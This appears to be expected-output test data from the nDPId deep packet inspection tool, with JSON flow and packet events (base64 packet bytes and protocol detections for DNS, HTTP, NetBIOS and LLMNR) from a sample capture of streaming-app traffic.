+00423{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":720761,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"AQBeAAD8ABxCjnAxCABFAAAyUcEAAAERU03AqHMI4AAA\/MkCFOsAHtPcYF4AAAABAAAAAAAABHdwYWQAAAEAAQ=="} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1470104377734,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":51024,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":734137,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"TF4M6gNlABxCjnAxCABFAABCUcIAAIARpSjAqHMICAgICMdQADUALoWI\/SwBAAABAAAAAAAAAmpwBmthbmthbgUxa3h1bgRtb2JpAAABAAE="} +00639{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1470104377734,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":51024,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Streaming"},"dns": {"query":"jp.kankan.1kxun.mobi","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00443{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":734181,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"TF4M6gNlABxCjnAxCABFAABCUcIAAIARpSjAqHMICAgICMdQADUALoWI\/SwBAAABAAAAAAAAAmpwBmthbmthbgUxa3h1bgRtb2JpAAABAAE="} +00489{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":753112,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"ABxCjnAxTF4M6gNlCABFAABinjgAAC4RqpIICAgIwKhzCAA1x1AATmX5\/SyBgAABAAIAAAAAAmpwBmthbmthbgUxa3h1bgRtb2JpAAABAAHADAABAAEAAAErAARquSNuwAwAAQABAAABKwAEarkjcA=="} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":21,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":3,"flow_first_seen":1470104377734,"flow_last_seen":1470104377753,"flow_tot_l4_data_len":170,"flow_min_l4_data_len":46,"flow_max_l4_data_len":78,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":51024,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Streaming"},"dns": {"query":"jp.kankan.1kxun.mobi","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"106.185.35.110"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1470104377754,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.185.35.110","src_port":49597,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":754759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UcRAAIAG5yfAqHMIarkjbsG9AFA9WFFgAAAAAIACIAA9OgAAAgQE7AEDAwgBAQQC"} +00422{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":754800,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UcRAAIAG5yfAqHMIarkjbsG9AFA9WFFgAAAAAIACIAA9OgAAAgQE7AEDAwgBAQQC"} +00422{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":810946,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGguxquSNuwKhzCABQwb1z6xq8PVhRYYASchBbqgAAAgQFtAEBBAIBAwMH"} +00406{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":811088,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUcVAAIAG5zLAqHMIarkjbsG9AFA9WFFhc+savVAQAQQNiQAA"} +00406{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":811114,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUcVAAIAG5zLAqHMIarkjbsG9AFA9WFFhc+savVAQAQQNiQAA"} +00962{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":818917,"pkt_caplen":468,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":468,"pkt_l4_len":434,"pkt":"TF4M6gNlABxCjnAxCABFAAHGUcZAAIAG5ZPAqHMIarkjbsG9AFA9WFFhc+savVAYAQRV7AAAR0VUIC9hcGkvdmlkZW9zLzEwNDEwLmpzb24\/Y2FsbGJhY2s9alF1ZXJ5MTgzMDY4NTU2NTcxMTIzMTkwMjJfMTQ3MDEwMzI0MjEyMyZfPTE0NzAxMDQzNzc2OTggSFRUUC8xLjENCkhvc3Q6IGpwLmthbmthbi4xa3h1bi5tb2JpDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMjIgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjUuMC4xMzY0LjE1MiBTYWZhcmkvNTM3LjIyDQpSZWZlcmVyOiBodHRwOi8vYWQuMWt4dW4uY29tL21hYw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW4NCkFjY2VwdC1DaGFyc2V0OiBpc28tODg1OS0xLCosdXRmLTgNCg0K"} +00834{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1470104377754,"flow_last_seen":1470104377818,"flow_tot_l4_data_len":570,"flow_min_l4_data_len":20,"flow_max_l4_data_len":434,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.185.35.110","src_port":49597,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"jp.kankan.1kxun.mobi","url":"jp.kankan.1kxun.mobi\/api\/videos\/10410.json?callback=jQuery18306855657112319022_1470103242123&_=1470104377698","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.22 (KHTML, like Gecko) Chrome\/25.0.1364.152 Safari\/537.22"}} +00962{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":818966,"pkt_caplen":468,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":468,"pkt_l4_len":434,"pkt":"TF4M6gNlABxCjnAxCABFAAHGUcZAAIAG5ZPAqHMIarkjbsG9AFA9WFFhc+savVAYAQRV7AAAR0VUIC9hcGkvdmlkZW9zLzEwNDEwLmpzb24\/Y2FsbGJhY2s9alF1ZXJ5MTgzMDY4NTU2NTcxMTIzMTkwMjJfMTQ3MDEwMzI0MjEyMyZfPTE0NzAxMDQzNzc2OTggSFRUUC8xLjENCkhvc3Q6IGpwLmthbmthbi4xa3h1bi5tb2JpDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMjIgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjUuMC4xMzY0LjE1MiBTYWZhcmkvNTM3LjIyDQpSZWZlcmVyOiBodHRwOi8vYWQuMWt4dW4uY29tL21hYw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW4NCkFjY2VwdC1DaGFyc2V0OiBpc28tODg1OS0xLCosdXRmLTgNCg0K"} +00423{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":820966,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"AQBeAAD8ABxCjnAxCABFAAAyUccAAAERU0fAqHMI4AAA\/MkCFOsAHtPcYF4AAAABAAAAAAAABHdwYWQAAAEAAQ=="} +00423{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":820998,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"AQBeAAD8ABxCjnAxCABFAAAyUccAAAERU0fAqHMI4AAA\/MkCFOsAHtPcYF4AAAABAAAAAAAABHdwYWQAAAEAAQ=="} +00467{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":839257,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACcD6s8PAHht1gBWEEACwRAf6AAAAAAAAABAZVqGRTJd3\/AgAAAAAAAAAAAAAAAQACAiICIwAsiQQLJ3MdAAEADgABAAEduOb7cD6s8PAHAAYABAAXABgACAACAGQ="} +00809{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":839581,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNAJhAgEGADFjB6UAAAAAwKgFCcCoBQnAqHcBAAAAAHDxofgq\/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00415{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":864564,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAoOwxAADYGR+xquSNuwKhzCABQwb1z6xq9PVhS\/1AQAO0MAgAAAAAAAAAA"} +02064{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":868739,"pkt_caplen":1272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1272,"pkt_l4_len":1238,"pkt":"ABxCjnAxTF4M6gNlCABFAATqOw1AADYGQylquSNuwKhzCABQwb1z6xq9PVhS\/1AYAO0z\/QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG9wZW5yZXN0eS8xLjkuNy4xDQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjIwOjA0IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpYLVBvd2VyZWQtQnk6IEV4cHJlc3MNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCg0KM2Q4DQofiwgAAAAAAAADnVRdb9pmFP4rk682iYBtMBAuN2nSLnddVcgxFnMC2PUHGqoikWyEz2ZNkxBI2Nqmy9J8FJOsKiQhIOWv1O9r+2p\/Ycc2YIa0i0ayQO\/x8z7POc85Pqs\/arxcoOJhMhpnmCgToyg6TC2TNJ2kIjGSIsN0hIbQ188JRWVVTSEShKJxHK8oRIBIsSpLJJ4TQopIUGSEIgOEWpB4wGTFvMADgpN5VuVTSVaFIE1S4SUyukQxX1GRBBVN0AxAeElQxBSvJDlRywEMSKYhIvHkaYCQtBUQclhdAopcoki4V+BZeRKDk5RhC1MGKhonlyNUgGDz6aTCiTLcjQSZWGQZUtZkVhXEHCRMMQEiw+bSGpt2yK36laV\/ACoWcoazOdpGR\/ch\/Pe++3d5CgF4K2Q9+E+qKiVCIUnggtTaz1ouyInZUF5I8WJyjc3BE3KRihdTQq4\/S6tqNhVcldJApApqxtFF5Vvz5A9UOkGNJoTBCU4WJC9H4nOxCA\/uXJrVstW9tsY98\/BX3NK\/\/\/YHY7BtDIrG4NwYNM39hjGo4U4RyKzqNWDsD3u4o6NBBR0d263XuHmA27fwi+plh2G\/ZNzW\/xk2rHEb7+kLYNR5b719j4d7gEQvG\/jgE64do9qFvfvJettAN3Cs2a+uUGXLvGtbp5vG8ACojPuxcdc07i7NizYwGLdbjnWjOnrVsDd20agPbOZGD9JDnR4a\/PW5uOmUK2orbA46l83yOTWpyRmwZOKt5+P\/2ctKwtRbj+S7jMCteT4DMcupogzj+mQynnFoQIDIsVm31+MKKtVRb++hj8o6qpwR6wEPR1PxOEzOFFcd4Xr1oW\/9dm1VXgDex5HRsI\/DxyXAod7woW\/eH6BSz8cx9HJsxocrH9GfFyA6dEDm6c4MRzGx8Axm\/Sc9vOGnF48y8H1MsrPPLqGKh759vQGE+OORz0bDbE9QxvCFNT4Hzd2KXW7gd90ZKh6ZL+H3nnUyhlKh5HddY6jjN8M55IwO75zhNzduCQ7dEYDgG00JMr9gOHyFfhJWX8etXdzUQWD7yqzewF3XTrirsmm\/T9GZkFnTzfvzWQpzJv5Sw5uHrmxGVNTkwrZwFgGbSsmwoniPd7KTnj3LCHlnKU2bWxpZXd063bKPd+yLFh6U4N0XDGBGTItKyGMNSrm0m+pEK8OreV\/JuHkJMrjdfaSGw7aooGow9b4E6ry2rrYeX4ZLt6hRELW1OQ1j2LJL\/cdruHSLGiu8Mm+V2R7BZrKLh4\/phcu1KCBk06Lv0+T0xW127nnMT9fXv\/kXNTJIIzcHAAANCjANCg0K"} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":35,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1470104377901,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":52723,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":901018,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"TF4M6gNlABxCjnAxCABFAAA+UcgAAIARpSbAqHMICAgICM3zADUAKlE0ceUBAAABAAAAAAAABmthbmthbgUxa3h1bgNjb20AAAEAAQ=="} +00635{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":35,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1470104377901,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":52723,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Streaming"},"dns": {"query":"kankan.1kxun.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00438{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":901065,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"TF4M6gNlABxCjnAxCABFAAA+UcgAAIARpSbAqHMICAgICM3zADUAKlE0ceUBAAABAAAAAAAABmthbmthbgUxa3h1bgNjb20AAAEAAQ=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":37,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1470104378005,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53622,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":5826,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAol0tAAEAGqdjAqAUQwKhzS9F2AbsV1ofmvikqE1ARIAA8\/AAAAAAAAAAA"} +00412{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":7003,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAoAABAAEAGQSTAqHNLwKgFEAG70Xa+KSoTFdaH51AQAEZctgAAAAAAAAAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1470104378021,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":21294,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABxCjnAxCABFAABOUckAAIAR9HzAqHMIwKj\/\/wCJAIkAOha6seYBEAABAAAAAAAAIEZIRkFFQkVFQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":39,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1470104378021,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00467{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":21336,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABxCjnAxCABFAABOUckAAIAR9HzAqHMIwKj\/\/wCJAIkAOha6seYBEAABAAAAAAAAIEZIRkFFQkVFQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00452{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":45036,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADzD2CHu7jht1gAAAAACARAf6AAAAAAAAA7fUkCsjAgxL\/AgAAAAAAAAAAAAAAAQAD8KMU6wAgDOCgAAAAAAEAAAAAAAAGUk9fWDFDAAD\/AAE="} +00423{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":45058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8zD2CHu7jCABFAAA0LRgAAAER5c3AqAUv4AAA\/PCjFOsAIMFmoAAAAAABAAAAAAAABlJPX1gxQwAA\/wAB"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1470104378045,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e98f:bae2:19f7:6b0f","dst_ip":"ff02::1:3","src_port":58779,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":45695,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"MzMAAQAD\/PiuMpcsht1gAAAAACYRAf6AAAAAAAAA6Y+64hn3aw\/\/AgAAAAAAAAAAAAAAAQAD5ZsU6wAmcsn2BAAAAAEAAAAAAAAM5bCP5L2b5bCI5qmfAAD\/AAE="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1470104378045,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e98f:bae2:19f7:6b0f","dst_ip":"ff02::1:3","src_port":58779,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1470104378045,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"224.0.0.252","src_port":58779,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104378,"pkt_ts_usec":45747,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AQBeAAD8\/PiuMpcsCABFAAA6KxQAAAER6ZvAqANf4AAA\/OWbFOsAJvTF9gQAAAABAAAAAAAADOWwj+S9m+WwiOapnwAA\/wAB"} 